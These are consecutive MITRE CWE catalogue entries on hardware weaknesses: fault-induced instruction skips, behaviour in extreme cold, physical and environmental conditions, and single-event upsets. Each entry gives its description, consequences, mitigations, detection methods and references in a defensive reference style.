The operating conditions of hardware may change in ways that cause unexpected behavior to occur, including the skipping of security-critical CPU instructions. Generally, this can occur due to electrical disturbances or when the device operates outside of its expected conditions.

In practice, application code may contain conditional branches that are security-sensitive (e.g., accepting or rejecting a user-provided password). These conditional branches are typically implemented by a single conditional branch instruction in the program binary which, if skipped, may lead to effectively flipping the branch condition - i.e., causing the wrong security-sensitive branch to be taken. This affects processes such as firmware authentication, password verification, and other security-sensitive decision points.

Attackers can use fault injection techniques to alter the operating conditions of hardware so that security-critical instructions are skipped more frequently or more reliably than they would in a "natural" setting.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Alter Execution Logic; Unexpected State

Scope: Confidentiality, Integrity, Authentication

Likelihood: High

Depending on the context, instruction skipping can have a broad range of consequences related to the generic bypassing of security critical code.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Design strategies for ensuring safe failure if inputs, such as Vcc, are modified out of acceptable ranges.

Architecture and Design
Design strategies for ensuring safe behavior if instructions attempt to be skipped.

Architecture and Design
Identify mission critical secrets that should be wiped if faulting is detected, and design a mechanism to do the deletion.

Implementation
Add redundancy by performing an operation multiple times, either in space or time, and perform majority voting. Additionally, make conditional instruction timing unpredictable.

Implementation
Use redundant operations or canaries to detect and respond to faults.

Implementation
Ensure that fault mitigations are strong enough in practice. For example, a low power detection mechanism that takes 50 clock cycles to trigger at lower voltages may be an insufficient security mechanism if the instruction counter has already progressed with no other CPU activity occurring.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1206 Power, Clock, Thermal, and Reset Concerns
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1247 Improper Protection Against Voltage and Clock Glitches
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design Failure to design appropriate countermeasures to common fault injection techniques can manifest this weakness.
Implementation This weakness can arise if the hardware design incorrectly implements countermeasures to prevent fault injection.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: System on Chip (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


A smart card contains authentication credentials that are used as authorization to enter a building. The credentials are only accessible when a correct PIN is presented to the card.

(bad code)
Example Language: Other 
The card emits the credentials when a voltage anomaly is injected into the power line to the device at a particular time after providing an incorrect PIN to the card, causing the internal program to accept the incorrect PIN.

There are several ways this weakness could be fixed.

(good code)
Example Language: Other 
  • add an internal filter or internal power supply in series with the power supply pin on the device
  • add sensing circuitry to reset the device if out of tolerance conditions are detected
  • add additional execution sensing circuits to monitor the execution order for anomalies and abort the action or reset the device under fault conditions


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
fault injection attack bypasses the verification mode, potentially allowing arbitrary code execution.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
This weakness can be found using automated static analysis once a developer has indicated which code paths are critical to protect.

Effectiveness: Moderate

Simulation / Emulation
This weakness can be found using automated dynamic analysis. Both emulation of a CPU with instruction skips, as well as RTL simulation of a CPU IP, can indicate parts of the code that are sensitive to faults due to instruction skips.

Effectiveness: Moderate

Manual Analysis
This weakness can be found using manual (static) analysis. The analyst has security objectives that are matched against the high-level code. This method is less precise than emulation, especially if the analysis is done at the higher level language rather than at assembly level.

Effectiveness: Moderate
+ Functional Areas
  • Power
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1161] Josep Balasch, Benedikt Gierlichs and Ingrid Verbauwhede. "An In-depth and Black-box Characterization of the Effects of Clock Glitches on 8-bit MCUs". 2011 Workshop on Fault Diagnosis and Tolerance in Cryptography (IEEE). 2011-09.
<https://ieeexplore.ieee.org/document/6076473>.
[REF-1222] Alexandre Menu, Jean-Max Dutertre, Olivier Potin and Jean-Baptiste Rigaud. "Experimental Analysis of the Electromagnetic Instruction Skip Fault Model". IEEE Xplore. 2020-04-30.
<https://ieeexplore.ieee.org/document/9081261>.
[REF-1223] Niek Timmers, Albert Spruyt and Marc Witteman. "Controlling PC on ARM using Fault Injection". 2016-06-11.
<https://fdtc.deib.polimi.it/FDTC16/shared/FDTC-2016-session_2_1.pdf>. (URL validated: 2023-04-07)
[REF-1224] Colin O'Flynn. "Attacking USB Gear with EMFI". Circuit Cellar. 2019-05.
<https://www.totalphase.com/media/pdf/whitepapers/Circuit_Cellar_TP.pdf>.
[REF-1286] Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 4.3. 2022-03-14.
<https://eprint.iacr.org/2022/328.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-10-14
(CWE 4.3, 2020-12-10) 		Jasper van Woudenberg Riscure
+ Contributions
Contribution Date Contributor Organization
2021-10-11 Jasper van Woudenberg Riscure
Provided detection methods and feedback on demonstrative example
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated References
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2021-10-28 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2021-03-15 CWE Content Team MITRE
updated Description, Functional_Areas, Potential_Mitigations, References
2021-01-11 Jasper van Woudenberg Riscure
+ Previous Entry Names
Change Date Previous Entry Name
2021-10-28 Insufficient Protection Against Instruction Skipping Via Fault Injection
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CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments

Weakness ID: 1351
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.
+ Extended Description

The hardware designer may improperly anticipate hardware behavior when exposed to exceptionally cold conditions. As a result they may introduce a weakness by not accounting for the modified behavior of critical components when in extreme environments.

An example of a change in behavior is that power loss won't clear/reset any volatile state when cooled below standard operating temperatures. This may result in a weakness when the starting state of the volatile memory is being relied upon for a security decision. For example, a Physical Unclonable Function (PUF) may be supplied as a security primitive to improve confidentiality, authenticity, and integrity guarantees. However, when the PUF is paired with DRAM, SRAM, or another temperature sensitive entropy source, the system designer may introduce weakness by failing to account for the chosen entropy source's behavior at exceptionally low temperatures. In the case of DRAM and SRAM, when power is cycled at low temperatures, the device will not contain the bitwise biasing caused by inconsistencies in manufacturing and will instead contain the data from previous boot. Should the PUF primitive be used in a cryptographic construction which does not account for full adversary control of PUF seed data, weakness would arise.

This weakness does not cover "Cold Boot Attacks" wherein RAM or other external storage is super cooled and read externally by an attacker.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context; Unexpected State

Scope: Integrity, Authentication

Likelihood: Low

Consequences of this weakness are highly contextual.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
The system should account for security primitive behavior when cooled outside standard temperatures.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1205 Security Primitives and Cryptography Issues
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Embedded (Undetermined Prevalence)

Class: Microcomputer (Undetermined Prevalence)

Technologies

Class: System on Chip (Undetermined Prevalence)

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1181] Nikolaos Athanasios Anagnostopoulos, Tolga Arul, Markus Rosenstihl, André Schaller, Sebastian Gabmeyer and Stefan Katzenbeisser. "Low-Temperature Data Remnanence Attacks Against Intrinsic SRAM PUFs". 2018-10-15.
<https://ieeexplore.ieee.org/abstract/document/8491873/>.
[REF-1182] Yuan Cao, Yunyi Guo, Benyu Liu, Wei Ge, Min Zhu and Chip-Hong Chang. "A Fully Digital Physical Unclonable Function Based Temperature Sensor for Secure Remote Sensing". 2018-10-11.
<https://ieeexplore.ieee.org/abstract/document/8487347/>.
[REF-1183] Urbi Chatterjee, Soumi Chatterjee, Debdeep Mukhopadhyay and Rajat Subhra Chakraborty. "Machine Learning Assisted PUF Calibration for Trustworthy Proof of Sensor Data in IoT". 2020-06.
<https://dl.acm.org/doi/abs/10.1145/3393628>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-10-23
(CWE 4.5, 2021-07-20) 		Paul A. Wortman Wells Fargo
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
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CWE-1384: Improper Handling of Physical or Environmental Conditions

Weakness ID: 1384
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
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+ Description
The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.
+ Extended Description

Hardware products are typically only guaranteed to behave correctly within certain physical limits or environmental conditions. Such products cannot necessarily control the physical or external conditions to which they are subjected. However, the inability to handle such conditions can undermine a product's security. For example, an unexpected physical or environmental condition may cause the flipping of a bit that is used for an authentication decision. This unexpected condition could occur naturally or be induced artificially by an adversary.

Physical or environmental conditions of concern are:

  • Atmospheric characteristics: extreme temperature ranges, etc.
  • Interference: electromagnetic interference (EMI), radio frequency interference (RFI), etc.
  • Assorted light sources: white light, ultra-violet light (UV), lasers, infrared (IR), etc.
  • Power variances: under-voltages, over-voltages, under-current, over-current, etc.
  • Clock variances: glitching, overclocking, clock stretching, etc.
  • Component aging and degradation
  • Materials manipulation: focused ion beams (FIB), etc.
  • Exposure to radiation: x-rays, cosmic radiation, etc.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context; Unexpected State

Scope: Confidentiality, Integrity, Availability

Consequences of this weakness are highly dependent on the role of affected components within the larger product.
+ Potential Mitigations
Phase(s) Mitigation

Requirements
In requirements, be specific about expectations for how the product will perform when it exceeds physical and environmental boundary conditions, e.g., by shutting down.

Architecture and Design; Implementation
Where possible, include independent components that can detect excess environmental conditions and have the capability to shut down the product.

Architecture and Design; Implementation
Where possible, use shielding or other materials that can increase the adversary's workload and reduce the likelihood of being able to successfully trigger a security-related failure.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 703 Improper Check or Handling of Exceptional Conditions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1247 Improper Protection Against Voltage and Clock Glitches
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1261 Improper Handling of Single Event Upsets
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1332 Improper Handling of Faults that Lead to Instruction Skips
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1351 Improper Handling of Hardware Behavior in Exceptionally Cold Environments
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design The product's design might not consider checking and handling extreme conditions.
Manufacturing For hardware manufacturing, sub-par components might be chosen that are not able to handle the expected environmental conditions.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Technologies

Class: System on Chip (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Lack of anti-glitch protections allows an attacker to launch a physical attack to bypass the secure boot and read protected eFuses.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1367 ICS Dependencies (& Architecture): External Physical Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". ICS Communications / 2. Unreliability. 2022-03-09.
<https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
[REF-1255] Sergei P. Skorobogatov. "Semi-invasive attacks - A new approach to hardware security analysis". 2005-04.
<https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-630.pdf>.
[REF-1285] Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022-01-31.
<https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420>.
[REF-1286] Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 1.2. 2022-03-14.
<https://eprint.iacr.org/2022/328.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-04-21
(CWE 4.7, 2022-04-28) 		CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2022-05-13 Members of the Hardware CWE Special Interest Group
Provided feedback on descriptions
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2022-06-28 CWE Content Team MITRE
updated Description, Name, Potential_Mitigations, Relationships, Type
+ Previous Entry Names
Change Date Previous Entry Name
2022-06-28 Improper Handling of Extreme Physical Environment Conditions
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CWE-1261: Improper Handling of Single Event Upsets

Weakness ID: 1261
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The hardware logic does not effectively handle when single-event upsets (SEUs) occur.
+ Extended Description

Technology trends such as CMOS-transistor down-sizing, use of new materials, and system-on-chip architectures continue to increase the sensitivity of systems to soft errors. These errors are random, and their causes might be internal (e.g., interconnect coupling) or external (e.g., cosmic radiation). These soft errors are not permanent in nature and cause temporary bit flips known as single-event upsets (SEUs). SEUs are induced errors in circuits caused when charged particles lose energy by ionizing the medium through which they pass, leaving behind a wake of electron-hole pairs that cause temporary failures. If these failures occur in security-sensitive modules in a chip, it might compromise the security guarantees of the chip. For instance, these temporary failures could be bit flips that change the privilege of a regular user to root.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Crash, Exit, or Restart; DoS: Instability; Gain Privileges or Assume Identity; Bypass Protection Mechanism

Scope: Availability, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Implement triple-modular redundancy around security-sensitive modules.

Architecture and Design

SEUs mostly affect SRAMs. For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1384 Improper Handling of Physical or Environmental Conditions
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1254 Incorrect Comparison Logic Granularity
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1199 General Circuit and Logic Design Concerns
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1388 Physical Access Issues and Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This is an example from [REF-1089]. See the reference for full details of this issue.

Parity is error detecting but not error correcting.

(bad code)
Example Language: Other 
Due to single-event upsets, bits are flipped in memories. As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.
(good code)
Example Language: Other 
Using error-correcting codes could have avoided the restart caused by SEUs.


Example 2


In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]



+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1405 Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1086] Fan Wang and Vishwani D. Agrawal. "Single Event Upset: An Embedded Tutorial".
<https://www.eng.auburn.edu/~agrawvd/TALKS/tutorial_6pg.pdf>.
[REF-1087] P. D. Bradley and E. Normand. "Single Event Upsets in Implantable Cardioverter Defibrillators".
<https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=736549&tag=1>. (URL validated: 2023-04-07)
[REF-1088] Melanie Berg, Kenneth LaBel and Jonathan Pellish. "Single Event Effects in FPGA Devices 2015-2016".
<https://ntrs.nasa.gov/search.jsp?R=20160007754>.
[REF-1089] Cisco. "Cisco 12000 Single Event Upset Failures Overview and Work Around Summary".
<https://www.cisco.com/c/en/us/support/docs/field-notices/200/fn25994.html>.
[REF-1090] Cypress. "Different Ways to Mitigate Soft Errors in Asynchronous SRAMs - KBA90939".
<https://community.infineon.com/t5/Knowledge-Base-Articles/Different-Ways-to-Mitigate-Soft-Errors-in-Asynchronous-SRAMs-KBA90939/ta-p/257944>. (URL validated: 2023-04-07)
[REF-1091] Ian Johnston. "Cosmic particles can change elections and cause plans to fall through the sky, scientists warn".
<https://www.independent.co.uk/news/science/subatomic-particles-cosmic-rays-computers-change-elections-planes-autopilot-a7584616.html>.
[REF-1101] Anders B. Wilhelmsen, Eivind S. Kristiansen and Marie Moe. "The Hard-coded Key to my Heart - Hacking a Pacemaker Programmer". 2019-08-10.
<https://anderbw.github.io/2019-08-10-DC27-Biohacking-pacemaker-programmer.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-02-12
(CWE 4.1, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
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CWE-20: Improper Input Validation

Weakness ID: 20
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
